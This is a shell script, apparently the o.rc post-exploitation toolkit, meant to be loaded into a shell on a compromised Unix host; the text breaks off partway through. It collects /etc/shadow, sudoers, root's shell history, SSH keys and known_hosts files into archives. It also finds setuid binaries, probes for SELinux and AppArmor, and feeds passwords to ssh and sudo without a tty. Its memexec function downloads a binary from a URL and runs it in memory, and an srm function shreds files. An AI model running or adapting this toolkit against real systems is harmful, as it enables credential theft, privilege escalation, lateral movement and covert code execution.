#!/bin/sh # o.rc OVERSION="0.6" # NOTES #authors: March, Darren Martyn, Ulrich Berntien # ~~~ Compatibility Layer ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # In the compatibility layer the functions to handle the differences # between different Unix flavors, shell types are collected. # Functions outside the compatibility layer call functions in this # layer or call tools/programs common for all Unix flavors. # # orc_local # # Local variables are a useful help but some shells support 'local', # some shells support 'typeset' and some shells support both. # Here the alias orc_local is defined to ensure a wide support. # Use orc_local only in the form 'orc_local var' not in the form # 'orc_local var=value' because the second form is not supported by # all shells. Also orc_local should be the first statement in a # function. if command -v local > /dev/null; then # dash, bash, ash, mksh supports local alias orc_local='local' elif command -v typeset > /dev/null; then # ksh, mksh, bash supports typeset alias orc_local='typeset' else alias orc_local='orc_noop' echo "Warning: no local variables could cause trouble" >&2 fi orc_noop() { # No operation. return } # Variable orc_colorNever # # Some modern grep tools uses colored output. With the switch # --color=never the colored output is switched of. Old grep # tools, like busybox grep, never uses color and don't # understand the --color switch # The variable orc_colorNever is use to support both grep # tools. # Usage: grep $orc_colorNever ... # Use the variable with out quotation. With quotes the empty # string will be used as argument. if echo 'test' | grep --color=never -q 'test' 2> /dev/null; then orc_colorNever='--color=never' else orc_colorNever='' fi # orc_existsTestCommand # # A check for a program or shell command could be executed # by a hash or a type command. The hash command works in # the bash and dash but not in the ksh. The type command # works in bash, dash and ksh but is not POSIX conform. # So try to figure out which command works and define an # alias to the command. # A variable instead an alias does not work with ksh. if hash ' not a program ' > /dev/null 2> /dev/null; then alias orc_existsTestCommand='type' else alias orc_existsTestCommand='hash' fi # Check the alias orc_existsTestCommand if orc_existsTestCommand ' not a program ' > /dev/null 2> /dev/null; then echo 'Error: can not find a tool for program exist checks' >&2 fi if ! orc_existsTestCommand cp > /dev/null 2> /dev/null; then echo 'Error: can not find a tool for program exist checks' >&2 fi orc_existsProg () { # Checks if a program/command exists. # Argument: Program/command name to check. # Exit status: 0 if one ore more programs do not exists. if [ $# -lt 1 ]; then echo 'Error: missing program name to check' >&2 return 1; fi orc_existsTestCommand "$@" > /dev/null 2> /dev/null } orc_listArp() { # List IP addresses in the ARP table. # List only resolved addresses. # Arguments: None # Output to stdout: List of IP addresses, one address per line if orc_existsProg arp; then # use short switches -a, -n because the long versions are not # supported on all systems, e.g. on busybox. arp -na | grep $orc_colorNever -iv 'incomplete' | orc_filterIpAddress elif orc_existsProg ip; then ip neigh show | grep $orc_colorNever -iv 'FAILED' | orc_filterIpAddress else echo 'Error: Can not list ARP content. Found no tool' >&2 fi } orc_listBroadcastAddress() { # List the broadcast addresses of interfaces. # Arguments: None # Output to stdout: IPv4 broadcast addresses, one per line if orc_existsProg ifconfig; then # Attention: ifconfig output is different on the systems. # The up/down status is not checked because it may fail on different # output formats. ifconfig | awk ' match($0,/inet.* broadcast +([0-9][0-9]?[0-9]?\.)+[0-9][0-9]?[0-9]?/) { # ifconfig version nettools 2.10 split(substr($0,RSTART,RLENGTH),tmp ) print tmp[2] } match($0,/Bcast[: ]+([0-9][0-9]?[0-9]?\.)+[0-9][0-9]?[0-9]?/) { # ifconfig version busybox 1.27 split(substr($0,RSTART,RLENGTH),tmp,/[: ]+/) print tmp[2] }' elif orc_existsProg ip; then ip addr show | awk ' match($0,/brd +([0-9][0-9]?[0-9]?\.)+[0-9][0-9]?[0-9]?/) { split(substr($0,RSTART,RLENGTH),tmp) print tmp[2] }' else echo 'Error: can not list broadcast addresses. Found no tool' >&2 fi } orc_inetAddressAndMask() { # Lists the IPv4 addresses and netmask of the interfaces. # Arguments: None # Output to stdout: Address and mask space separated. # One line per active interface if orc_existsProg ifconfig; then ifconfig | awk ' match($0,/inet +[0-9\.]+ +netmask +[0-9\.]+ +broadcast/) { # matching ifconfig 2.10 Linux split(substr($0,RSTART,RLENGTH),item) print item[2] " " item[4] } match($0,/inet +addr[: ]+[0-9\.*]+ +Bcast[: ]+[0-9\.]+ +Mask[: ]+[0-9\.]+/) { # matching ifconfig Busybox 1.27 split(substr($0,RSTART,RLENGTH),item,/[: ]+/) print item[3] " " item[7] }' elif orc_existsProg ip; then ip addr show | awk ' match($0,/inet +[0-9\.]+\/[0-9]+ brd/) { split(substr($0,RSTART,RLENGTH),item,/[\/ ]+/) print item[2] " " item[3] }' | while read -r addr bits; do echo "$addr" "$(orc_lengthToIP4netmask "$bits")" done else echo "Error: can not list IP addresses, no tool found" >&2 fi } orc_exportProxySettings () { # Export http and https proxy settings in some formats. # Arguments: None # Global: http(s)_proxy variables will be used. # # A proxy could be set via environment variables to the tools. # But some tools in some versions needs lower case and some # needs upper case variable names. To increase portability # both cases will be exported. export http_proxy export HTTP_PROXY if [ -n "$http_proxy" ]; then if [ -n "$HTTP_PROXY" ] && [ "$HTTP_PROXY" != "$http_proxy" ]; then echo 'Warning: ignore HTTP_PROXY value and use http_proxy value' >&2 fi HTTP_PROXY=$http_proxy elif [ -n "$HTTP_PROXY" ]; then http_proxy=$HTTP_PROXY fi export https_proxy export HTTPS_PROXY if [ -n "$https_proxy" ]; then if [ -n "$HTTPS_PROXY" ] && [ "$HTTPS_PROXY" != "$https_proxy" ]; then echo 'Warning: ignore HTTPS_PROXY value and use https_proxy value' >&2 fi HTTPS_PROXY=$https_proxy elif [ -n "$HTTPS_PROXY" ]; then https_proxy=$HTTPS_PROXY fi } orc_loadURL () { # Loads from an URL via curl, wget or perl. # Argument: The URL to download, https is supported. # Output to stdout: The content of the URL document. # Global: http(s)_proxy variables will be used. if [ $# -ne 1 ]; then echo 'Error: argument must be one URL to load' >&2 return 1 fi orc_exportProxySettings if orc_existsProg curl; then curl --silent --location --insecure -- "$1" elif orc_existsProg wget; then wget --quiet --no-check-certificate --output-document=- -- "$1" elif orc_existsProg perl; then perl -e 'use LWP::Simple qw ($ua head get); $url = $ARGV[0]; $ua->ssl_opts(verify_hostname => 0,SSL_verify_mode => 0x00); print get $url; ' -- "$1" elif orc_existsProg python; then # Do not insert the code because python is insert sensitive. PYTHONHTTPSVERIFY=0 python -c ' import sys, urllib2 request = urllib2.urlopen(sys.argv[1]) sys.stdout.write(request.read()) ' "$1" else echo 'Error: no download tool found' >&2 return 1 fi } orc_tryTcpConnection () { # Try to open a TCP connection to given host and port. # Argument: host name or host IP address # TCP port number # Return: 0 if and only if TCP connection could be opened if [ $# -ne 2 ]; then echo 'Error: need host and TCP port as arguments' >&2 return 1 fi if orc_existsProg bash; then # Open a connection with the bash. # This is a bash extension. POSIX shell will not support this. bash -c "echo '' > /dev/tcp/$1/$2" 2>/dev/null elif orc_existsProg nmap; then # TCP connect scan with nmap nmap -oG - -Pn -sT -p "$2" "$1" | grep -q '/open/tcp/' elif orc_existsProg perl; then perl -e 'use IO::Socket; $s = IO::Socket::INET->new( PeerAddr => $ARGV[0], PeerPort => $ARGV[1], Proto => "tcp", Type => SOCK_STREAM) or exit 1; close $s; ' -- "$1" "$2" elif orc_existsProg python; then # TCP connection open with python version 2 # Do not insert the code because python is insert sensitive. python -c ' import socket,sys try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((sys.argv[1],int(sys.argv[2]))) except: sys.exit(1) sys.exit(0) ' "$1" "$2" elif orc_existsProg nc; then # Open connection with netcat # Do not use option -N here because not all nc implementations support # this (e.g. busybox). echo '' | nc -w1 "$1" "$2" 2>/dev/null else echo 'Error: no tool to open TCP connection found' >&2 return 1 fi } orc_listTmp() { # List tmpfs directories with access information. # Search in the list of tmpfs filesystem and in a list of common # file destinations. # Use simple df call to keep script compatible to the most systems. # -l, -t, --output is not available on some systems, e.g. busybox. { df -P; echo '/dev/shm'; echo "$XDG_RUNTIME_DIR"; echo '/tmp'; echo '/var/tmp'; echo "$TMPDIR"; echo "$HOME"; echo "$NHOME"; echo '/root'; } | # filter: filesystem tmpfs and each directory only once awk '(NF==1 || $1=="tmpfs") && hit[$NF]==0 {hit[$NF]=1; print $NF}' | # filter: only existing directories while read -r i; do if [ -d "$i" ]; then echo "$i" fi done } orc_makeHome() { # Creates a home directory. # Sets the variable $HOME to this new created directory. # Searchs a temporary directory without noexec flag as base. for base in $(orc_listTmp); do if [ ! -r "$base" ] || [ ! -w "$base" ] || [ ! -x "$base" ]; then # no read, no write or no search-able access continue fi # Try to create a home directory mkdir "$base/.q" 2>/dev/null # Also possible to reuse an existing directory if [ -d "$base/.q" ]; then # try to create an executable echo '#!/bin/sh' > "$base/.q/.t" chmod +x "$base/.q/.t" # test and call the created script. # On systems (e.g. busybox) the call failed but the test pass if [ ! -x "$base/.q/.t" ] || ! "$base/.q/.t" 2>/dev/null; then # can not create a executable # remove test file; use -f to prevent any prompt rm -f "$base/.q/.t" rmdir "$base/.q" continue fi rm -f "$base/.q/.t" # this is a good home HOME="$base/.q" return fi done # no good home directory found. Use /dev/shm/.q as error fallback echo 'Warning: found no good home directory, some functions may fail' >&2 HOME="/dev/shm/.q" mkdir $HOME 2>/dev/null } orc_archive () { # Archive a directory content in a file. # Uses tar, zip or ar. # Arguments: Base name of the archive file. # Directory to archive. # Return: 0 if and only if archive file creation was ok. # Globals: Set ORC_ARCHIV_FILE to the name of the created file. if [ $# -ne 2 ]; then echo 'Error: archiver needs two arguments' >&2 return 1 fi if [ ! -d "$2" ] || [ ! -r "$2" ]; then echo "Error: archiver can not read $2" >&2 return 1 fi # Now no archive file exists. Reset any old content. ORC_ARCHIVE_FILE="" if orc_existsProg tar; then # try tar with internal xz compression tar -cJf "$1.tar.xz" "$2" && ORC_ARCHIVE_FILE="$1.tar.xz" if [ -z "$ORC_ARCHIVE_FILE" ] && orc_existsProg xz; then # try tar with external xz compression { tar -cf "$1.tar" "$2" && xz -9 "$1.tar" && ORC_ARCHIVE_FILE="$1.tar.xz"; } || rm -f "$1.tar" fi if [ -z "$ORC_ARCHIVE_FILE" ]; then # try the old gzip inside tar tar -czf "$1.tar.gz" "$2" && ORC_ARCHIVE_FILE="$1.tar.gz" fi if [ -z "$ORC_ARCHIVE_FILE" ]; then # try tar without compression tar -cf "$1.tar" "$2" && ORC_ARCHIVE_FILE="$1.tar" fi fi if [ -z "$ORC_ARCHIVE_FILE" ] && orc_existsProg zip; then # try to zip the files zip -9Xrq "$1.zip" "$2" && ORC_ARCHIVE_FILE="$1.zip" fi if [ -z "$ORC_ARCHIVE_FILE" ]; then echo 'Error: no working archive tool found' >&2 return 1 fi } # ~~~ Helper Functions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # In the section of the internal helper functions are collected. # The helper functions are typical not called by the user of o.rc # Some user level functions uses the functions and variables defined # in the helper functions section. # alias 'echo'='/bin/echo' # Create home directory and prepare remove at script exit orc_makeHome if [ ! -d "$HOME" ]; then echo 'Error: can not find a home directory' >&2 exit 1 fi trap 'rm -rf $HOME' EXIT TERM INT # Creates a copy of this script in variable backup # Should be start like "ENV=o.rc sh -i". backup='' if [ -n "$BASH" ]; then # Script runs in bash. Here BASH_SOURCE exists. # shellcheck disable=SC2169,SC2039 if [ -r "${BASH_SOURCE[0]}" ] && [ ! -r "$ENV" ]; then # Script was started in bash via source. ENV=${BASH_SOURCE[0]} fi fi if [ -r "$ENV" ]; then backup=$(cat "$ENV") # Convert to absolute file name for later use. ENV=$(readlink -f "$ENV") fi if [ -z "$backup" ]; then echo 'Warning: backup variable with script file is not available' >&2 fi NHOME='' orc_createEchoFile () { # Creates a shell script file which echos the arguments. # Argument: Text to echo. # Global: set $ORC_ECHO_FILE to the created file. if [ $# -lt 1 ]; then echo 'Error: missing text to echo' >&2 return 1 fi if [ "$HOME" = "" ]; then echo 'Error: HOME variable is empty' >&2 return 1 fi # Create the script file in the prepared HOME directory ORC_ECHO_FILE="$HOME/.c" echo '#!/bin/sh' > "$ORC_ECHO_FILE" if [ ! -r "$ORC_ECHO_FILE" ]; then echo 'Error: can not create echo file' >&2 return 1 fi # Limit access to the owner chmod a-rw,u=rwx "$ORC_ECHO_FILE" # The text must be single-quoted to prevent changes by the shell echo "echo '$*'" >> "$ORC_ECHO_FILE" } orc_httpsProxyReminder() { # Remind the user if https_proxy is not set and # tcp connection error to the server at port 443. # Argument: Name or IP address of the server. # Output to stdout: Reminder. # Global: https_proxy variable is checked. if [ $# -ne 1 ]; then echo 'Error: missing host name' >&2 return 1 fi if [ -z "$https_proxy" ] && [ -z "$HTTPS_PROXY" ]; then # no proxy is defined. if ! orc_tryTcpConnection "$1" 443; then # no connection and no proxy: remind echo 'Info: connection problem, https_proxy could be needed' >&2 return 2 fi fi # else: if https_proxy is defined, then never remind return 0 } orc_log2outp() { # Runs a command and writes output to files in $OUTP. # arguments: basename command command-arguments # outputs: pipes stdout into $OUTP/basename.txt # pipes stderr into $OUTP/basename.err # logs basename and command call in $OUTP/log.txt if [ ! -d "$OUTP" ]; then echo 'Error: output directory not defined or prepared' >&2 return 1 fi if [ $# -lt 1 ]; then echo 'Error: missing basename of the output files' >&2 return 1 fi echo "$@" >> "$OUTP/log.txt" basename=$1 shift if [ $# -lt 1 ]; then echo 'Error: missing command to execute' >&2 return 1 fi "$@" >> "$OUTP/$basename.txt" 2>> "$OUTP/$basename.err" } orc_listUsers() { # Listing users in passwd with login shells. # Reject shells named *nologin or *false as valid shells. getent passwd | awk -F ':' ' NF==1 && $1 !~ /^#|nologin$|false$/ {shells[$1]=1} $7 in shells {print $1}' /etc/shells - } orc_homeOfUserID () { # Gets the home directory of the user. # Argument: ID of the user. # Output to stdout: home directory if [ $# -ne 1 ]; then echo 'Error: argument user-id must be given' >&2 return 1 fi getent passwd | awk -F ':' -v userid="$1" '$3 == userid {print $6}' } orc_homeOfCurrentUser () { # Gets the home directory of the current user. # Argument: - # Output to stdout: home directory orc_homeOfUserID "$(id -u)" } orc_ourPts() { # Get our PTS. # Writes nothing if not connected to a PTS. mytty=$(tty) mypts=${mytty#/dev/pts/} # Check if it is a pts device if [ "/dev/pts/$mypts" = "$mytty" ]; then echo "$mypts" fi } orc_isMinimalOsVersion() { # Checks the OS name and version. # Arguments: OS name (e.g. Linux) # First part of the version number # Second part of the version number # Return: 0 if OS name is equal and version is equal or greater. # 1 if OS name is not equal # 2 if OS name is equal but version is less. orc_local first rest if [ $# -ne 3 ]; then echo 'Error: missing arguments: name, version1, version2' >&2 return 9 fi # use the short options -s and -n because not all uname tools # support the long option names, e.g. busybox. if [ "$1" != "$(uname -s)" ]; then return 1 fi rest=$(uname -r) first=${rest%%.*} if [ "$first" -gt "$2" ]; then return 0; elif [ "$first" -lt "$2" ]; then return 2; fi # first part of the version number is equal rest=${rest#*.} first=${rest%%.*} if [ "$first" -lt "$3" ]; then return 2 fi # second part of the version number is greater or equal return 0 } orc_filterIpAddress() { # Filters strings look like an IPv4 or IPv6 address. # The function reads stdin and writes to stdout. # Maximal one address per line will pass the filter. # The filter passes all valid IPv4 addresses. # Some valid IPv6 are do not pass the filter. # Ethernet addresses do not pass. # Arguments: none # The awk script support gawk and mawk. The match(s,p,a) # is not supported by mawk. Also the pattern repeat operator # {n} is not supported by mawk. Hence the pattern are # more complicated. awk ' match($0,/([0-9][0-9]?[0-9]?\.)+[0-9][0-9]?[0-9]?/) { # it is a IPv4 address tmp = substr($0,RSTART,RLENGTH) if (match(tmp,/\..+\..+\./)) print tmp next } match($0,/([a-f0-9]?[a-f0-9]?[a-f0-9]?[a-f0-9]?:)+[a-f0-9]+/) { # it is a IPv6 address or an ethernet address with lower case letters tmp = substr($0,RSTART,RLENGTH) if (match(tmp,/:.*:.*:.*:.*:/) && match(tmp,/^..:..:..:..:..:..$/)==0) print tmp next } match($0,/([A-F0-9]?[A-F0-9]?[A-F0-9]?[A-F0-9]?:)+[A-F0-9]+/) { # it is a IPv6 address or an ethernet address with upper case letters tmp = substr($0,RSTART,RLENGTH) if (match(tmp,/:.*:.*:.*:.*:/) && match(tmp,/^..:..:..:..:..:..$/)==0) print tmp next }' } orc_pingBroadcast() { # Ping the Broadcast IP addresses of all interfaces. # Arguments: None # Output to stdout orc_local addr for addr in $(orc_listBroadcastAddress); do ping -c 3 -i 10 -b "$addr" done } orc_listHomes() { # List the home directories of the users. # Argument: None. # Output to stdout: One home directory per line. orc_local dir getent passwd | # filter: home directory in field 6, directory only once awk -F ':' 'hit[$6] == 0 {hit[$6]=1; print $6}' | # filter: only existing directories, no dummy entries while read -r dir; do if [ -d "$dir" ]; then echo "$dir" fi done } orc_flatFileName() { # Translate a file name with path into a simple name. # Argument: A file name with path. # Output to stdout: The name with slashes replaced by underlines. echo "$1" | tr '/' '_' } orc_testAndCopy() { # Test read access. Then copy if read access is possible. # The function copies only if a read access is possible. # The function is silent, does not write a message on copy # or on missing read access and skipping the copy. # Copies the file into the destination directory with the # 'flat name' of the source. This means the full path given # as argument is transformed into a name like '_path_name'. # (See function orc_flatFileName.) # Arguments: File to copy (could contain a path). # Destination directory (without file name). if [ $# -ne 2 ]; then echo 'Error: need two arguments: file and destination' >&2 return 1 fi if [ ! -d "$2" ]; then echo "Error: 2nd parameter ($2) must be a directory" >&2 return 1 fi if [ -r "$1" ]; then cp "$1" "$2/$(orc_flatFileName "$1")" fi } orc_collectOtherHostsInfo() { # Collect files containing info about other hosts. # Arguments: None # Output to $HOME/kh archive file # Collect output files in $OUTP orc_local dir OUTP="$HOME/files/" mkdir --mode 700 "$OUTP" echo 'collect all readable .ssh/known_hosts files' for dir in $(orc_listHomes); do orc_testAndCopy "$dir/.ssh/known_hosts" "$OUTP" done echo 'try /etc/ssh/known_hosts file' orc_testAndCopy /etc/ssh/known_hosts "$OUTP" echo 'try /etc/hosts' orc_testAndCopy /etc/hosts "$OUTP" echo 'try /etc/lmhosts' orc_testAndCopy /etc/lmhosts "$OUTP" # Stores all single files in one archive file. if orc_archive "$HOME/kh" "$OUTP"; then echo "Find the collected files in $ORC_ARCHIVE_FILE" # Remove the single files. Keep only the archive file. rm -rf "$OUTP" else echo "Error: can not archive, the files are in $OUTP" >&2 fi } orc_IP4toInteger() { # Converts a IPv4 address into a number. # Argument: IPv4 address # Output to stdout: integer number orc_local str value if [ $# -ne 1 ]; then echo 'Error: IPv4 address must be given as argument' >&2 return 1 fi # get first number by removing the last 3 numbers value=${1%.*.*.*} if [ "$value" = '' ]; then echo 'Error: no IPv4 address given' >&2 return 1 fi # get the last 2 numbers by removing the first number str="${1#*.}" # the second number value=$(( (value << 8) | ${str%.*.*} )) str="${str#*.}" # the third number value=$(( (value << 8) | ${str%.*} )) str="${str#*.}" # the last number value=$(( (value << 8) | str )) echo $value } orc_integerToIP4() { # Converts a number into an IPv4 address # Argument: integer number # Output to stdout: IPv4 address in dotted format. orc_local str value if [ $# -ne 1 ]; then echo 'Error: number must given as argument' >&2 return 1 fi str="$(( $1 & 255 ))" value=$(( $1 >> 8 )) str="$(( value & 255 )).$str" value=$(( value >> 8 )) str="$(( value & 255 )).$str" value=$(( value >> 8 )) str="$(( value & 255 )).$str" value=$(( value >> 8 )) echo "$str" } orc_firstIP4integer() { # First IPv4 address in a LAN. # Argument: One address as integer, NOT dotted format # Netmask as integer, NOT dotted format # Output to stdout: first address in the LAN as integer if [ $# -ne 2 ]; then echo 'Error: address and netmask must be given' >&2 return 1 fi # +1 because all bits 0 outside the bitmask is not allowed, it # is the address of the subnet, not of a host. echo $(( ($1 & $2) | 1 )) } orc_lastIP4integer() { # Last IPv4 address in a LAN. # Argument: One address as integer, NOT dotted format # Netmask as integer, NOT dotted format # Output to stdout: last address in the LAN as integer if [ $# -ne 2 ]; then echo 'Error: address and netmask must be given' >&2 return 1 fi # 65535<<16|65534 = 31 bits 1 and last bit 0. Written with # numbers valid in a 32-bit signed integer and 64-bit signed # integer arithmetic. # All bits 1 outside the netmask is the broadcast address # of the subnet. echo $(( ($1 & $2) | ((65535<<16|65534) & ~$2) )) } orc_lengthToIP4netmask() { # Converts the fixed length number into the IPv4 bitmask. # Argument fixed length # Output to stdout: IPv4 bitmask orc_local value counter topbit if [ $# -ne 1 ]; then echo 'Error: fixed length size must be given' >&2 return 1 fi if [ "$1" -lt 1 ] || [ "$1" -gt 31 ]; then echo 'Error: length out of range' >&2 return 1 fi value=0 counter=$1 topbit=$(( 1 << 31 )) while [ "$counter" -gt 0 ]; do counter=$(( counter - 1 )) # shift current bits 1 right and set the topmost bit to 1. value=$(( (value >> 1) | topbit )) done orc_integerToIP4 $value } orc_pingIP4localnet() { # Ping all local IPv4 addresses # and protocol if host is alive. # Arguments: One IPv4 address in dotted format # The netmask in dotted format orc_local myaddr mask value lastvalue address if [ $# -ne 2 ]; then echo 'need address and netmask as arguments' >&2 return 1; fi myaddr=$(orc_IP4toInteger "$1") mask=$(orc_IP4toInteger "$2") value=$(orc_firstIP4integer "$myaddr" "$mask") lastvalue=$(orc_lastIP4integer "$myaddr" "$mask") while true; do address=$(orc_integerToIP4 "$value") if ping -c1 -n "$address" > /dev/null; then echo "$address is alive" fi if [ "$value" -eq "$lastvalue" ]; then break; fi value=$(( value + 1 )) done } # ~~~ User Functions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # The user functions are designed to be called by the o.rc users. # getdbus() { echo "Dbus services for system:" dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames echo "Dbus services for session:" dbus-send --session --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames echo "See https://github.com/taviso/dbusmap for additional dbus auditing!" } getsec() { echo "Let's see if there are any defences." selinuxenabled >/dev/null 2>/dev/null if echo $? | grep -q 0; then echo "SELinux is enabled." fi command -V aa-status >/dev/null 2>/dev/null if echo $? | grep -q 0; then echo "AppArmor is probably installed." fi if grep -q PaX /proc/self/status; then echo "GrSec and PaX live here." fi } # getsfiles is called without argument in the function, that is ok. # shellcheck disable=SC2119,SC2120 getsfiles () { # Lists files with setuid and setcap. # Optional argument background # runs the search in the background and write the filelist # to $HOME/sfiles if [ $# -eq 1 ] && [ "$1" = 'background' ]; then echo "run in $1, find results in $HOME/sfiles" getsfiles > "$HOME/sfiles" & else if [ $# -ne 0 ]; then echo 'Error: call must getsfile [background]' >&2 return 1 fi if orc_existsProg find; then # List setuid flagged files echo 'setuid flagged files list; attribute user name' find / -perm /4000 \ -exec stat -c '%a %A %U %N' -- \{\} \; \ 2> /dev/null echo '' else echo 'Error: missing find, need to implement other search' >&2 fi if orc_existsProg getcap; then echo 'files with capabilities; name = caps' getcap -r / 2>/dev/null else echo 'Error: missing getcap' >&2 fi fi } getinfo() { echo "Gathering useful command output." # Collect output files in $OUTP OUTP=$HOME/files/ mkdir --mode 700 "$OUTP" orc_log2outp passwd getent passwd orc_log2outp uname uname -a orc_log2outp ps ps -weFH orc_log2outp w w orc_log2outp last last -i orc_log2outp uptime uptime orc_log2outp id id orc_log2outp date date orc_log2outp cpuinfo cat /proc/cpuinfo orc_log2outp free free -g orc_log2outp route route -n orc_log2outp hosts cat /etc/hosts orc_log2outp resolve cat /etc/resolv.conf orc_log2outp rpcinfo rpcinfo orc_log2outp lsmod lsmod orc_log2outp lsusb lsusb orc_log2outp mount mount orc_log2outp df df orc_log2outp user_crontab crontab -l if orc_existsProg ifconfig; then orc_log2outp ifconfig ifconfig -a else orc_log2outp ifconfig ip link fi orc_log2outp netstat netstat -peanut # The condition should work with POSIX sh and bash. # Variable EUID is defined in the bash. # Check EUID of /root works in dash (and in bash). # shellcheck disable=SC2039,SC2169 if [ "$EUID" = "0" ] || [ -O "/root" ]; then orc_log2outp shadow getent shadow orc_log2outp ssh_keys find /home/ -name id_rsa orc_log2outp sudoers cat /etc/sudoers orc_log2outp crontab cat /etc/crontab orc_log2outp iptables iptables -L orc_log2outp secure cat /var/log/secure orc_log2outp roothist cat /root/.bash_history orc_log2outp sshd_config cat /etc/ssh/sshd_config orc_log2outp root_dir ls -al /root/ #inelegant hack orc_log2outp netstat netstat -peanut if orc_existsProg getsebool; then orc_log2outp sellinux getenforce orc_log2outp sellinux getsebool -a orc_log2outp sellinux sestatus fi fi # Stores all single log files in one archive file. if orc_archive "$HOME/f" "$OUTP"; then echo "Find the output files in $ORC_ARCHIVE_FILE" # Remove the single log files. Keep only the archive file. rm -rf "$OUTP" else echo "Error: can not archive, the files are in $OUTP" >&2 fi } timedshell() { echo "scheduling a reverse shell to launch later..." } getusers() { echo "Listing valid users with shells." orc_listUsers } getuservices() { echo "Listing all running services with non-user accounts in passwd." { orc_listUsers; ps --no-header -weFH; } | awk 'NF==1 {users[$1]=1} NF>1 && !($1 in users) {print}' } getluks() { if orc_existsProg lsblk; then if lsblk -al | awk '{print $6}' | grep -q 'crypt'; then echo "Encrypted partition detected. Run lsblk to see more." fi elif orc_existsProg dmesg; then if dmesg -T | grep -i Boot_image | grep -qi 'rd.luks.uuid'; then echo "Encrypted partition detected. No lsblk found. Investigate manual." fi fi } getspec() { printf "RAM available: " free -hm | tr '\n' ' ' | awk '{ print $8 }' printf "CPU model:" grep $orc_colorNever name /proc/cpuinfo | head -n 1 | awk -F ":" '{print $2}' printf "Number of cores: " grep $orc_colorNever -c processor /proc/cpuinfo printf "Disk usage:" df -h } getidle() { # List all ptys and their idle times accurately. # Arguments : none # Globals : our_pty could contain the number of our PTY export our_pty our_pty=$(orc_ourPts) # using stat and the shell glob, so no quotes stat /dev/pts/* -c '%n %X %U' | awk -v now="$(date +%s)" '$1 ~ /\/[0-9]+$/ { gsub( /[^0-9]/, "", $1 ) list[$1]="PTY " $1 " is " now-$2 " seconds idle and owned by " $3 if( $1==ENVIRON["our_pty"] ) list[$1]=list[$1] " ** this is us **"} END {for(i in list) print list[i]}' # reminder: do not use gawk functions, e.g. systime } getsctp() { # Print info about sctp connection support on the box. # Arguments : none # Output : prints info to stdout # 1) Try to load the sctp kernel module # The load could fail if the user can not load kernel modules # or the module does not exists. modprobe sctp > /dev/null 2>&1 # 2) Info about the stp kernel info if modinfo sctp > /dev/null 2>&1; then if grep -qi '^sctp ' /proc/modules; then echo 'SCTP kernel module loaded' else echo 'SCTP kernel module exists but is not loaded' fi fi # 3) Info about sctp command line tools. # sctp support but not installed checksctp tool is possible. if orc_existsProg checksctp; then if checksctp 2>&1 | grep -qi 'SCTP supported'; then if orc_existsProg withsctp; then echo 'SCTP enabled and withsctp callable' else echo 'SCTP enabled but withsctp is not callable' fi fi fi # 4) Info about listening and non-listening sockets. if orc_existsProg ss; then if [ "$(ss --all --sctp 2> /dev/null | wc -l)" -gt 1 ]; then echo 'TCP sockets in use' fi elif orc_existsProg netstat; then if netstat -a --sctp 2> /dev/null | grep -qi '^sctp' ; then echo 'SCTP sockets in use' fi fi } srm() { # secure shredding of files # Argument: file(s) to overwrite and to remove. # Overwriting data through the file system does not work on all # systems. On modern file systems like ext4, XFS often the data # will be not secure destroyed. if [ $# -lt 1 ]; then echo 'Error: srm needs a file name(s) as argument' >&2 return 1 fi if orc_existsProg shred; then # set writeable, overwrite, zero overwrite, delete # and suppress standard output shred -zfun 2 "$@" > /dev/null elif orc_existsProg wipe; then wipe -fcs "$@" else for file do if [ -f "$file" ]; then # try to set writeable chmod u+w -- "$file" # overwrite file content dd if=/dev/urandom of="$file" bs="$(stat -c %B -- "$file")" count="$(stat -c %b -- "$file")" status=none dd if=/dev/zero of="$file" bs="$(stat -c %B -- "$file")" count="$(stat -c %b -- "$file")" status=none # "--force" is not used because the long format is not accepted # by all shells, e.g. busybox shell. rm -f -- "$file" else echo "Error: '$file' is no regular file" >&2 fi done fi } qssh() { # ssh without a tty - qssh [password] [normal arguments] # Arguments: password # arguments feed through to the ssh # Method: Creates a shell script file which echoes the password. if [ $# -lt 2 ]; then echo 'Error: qssh needs at least password and command as arguments' >&2 return 1 fi if tty | grep -q 'not'; then orc_createEchoFile "$1" shift # shellcheck disable=SC2029 DISPLAY="" SSH_ASKPASS="$ORC_ECHO_FILE" ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -T "$@" else echo 'Error: You have got a tty. You can not use qssh' >&2 fi } qsu() { # sudo without a tty - qsu [password] [normal arguments] # Arguments: password # arguments feed through to the sudo # Method: Creates a shell script file which echoes the password. if [ $# -lt 2 ]; then echo 'Error: qsu needs at least password and command as arguments' >&2 return 1 fi orc_createEchoFile "$1" shift SUDO_ASKPASS="$ORC_ECHO_FILE" sudo -A "$@" rm -f "$ORC_ECHO_FILE" } memexec() { # Execute a binary program or a script file in-memory from web-server. # Stores the downloaded file in an anonymous file in the # /proc/self process memory. # If this is not possible the file is stored in the $HOME # directory of orc, which is typical a tmpfs. # Argument: URL of the binary, http or https is supported. # other arguments are passed through to the program/script # Global: http_proxy and https_proxy variables could be used # to defined a proxy for the download. orc_local url interpreter if [ $# -lt 1 ]; then echo 'Error: memexec needs URL as argument' >&2 return 1 fi # first argument is the URL to load url="$1" shift if ! orc_existsProg base64; then echo 'Warning: need base64, go into fallback mode' >&2 interpreter='fallback' elif ! orc_existsProg gzip; then echo 'Warning: need gzip, go inti fallback mode' >&2 interpreter='fallback' elif ! orc_isMinimalOsVersion Linux 3 17; then echo 'Warning: need Linux >= 3.17, go in fallback mode' >&2 interpreter='fallback' elif orc_existsProg python3; then interpreter='python3' elif orc_existsProg python2; then interpreter='python2' elif orc_existsProg python; then # Python version 2 interpreter is often named simply "python" interpreter='python' elif orc_existsProg perl; then interpreter='perl' else echo 'Warinng: need perl or python, go in fallback mode' >&2 interpreter='fallback' fi orc_exportProxySettings if [ "$interpreter" = 'fallback' ]; then # Can not load the program/script into anonymous file. # As fallback load the file into the orc $HOME, this # should be a tmpfs. orc_loadURL "$url" > "$HOME/.mem" chmod +x "$HOME/.mem" "$HOME/.mem" "$@" rm -f "$HOME/.mem" elif 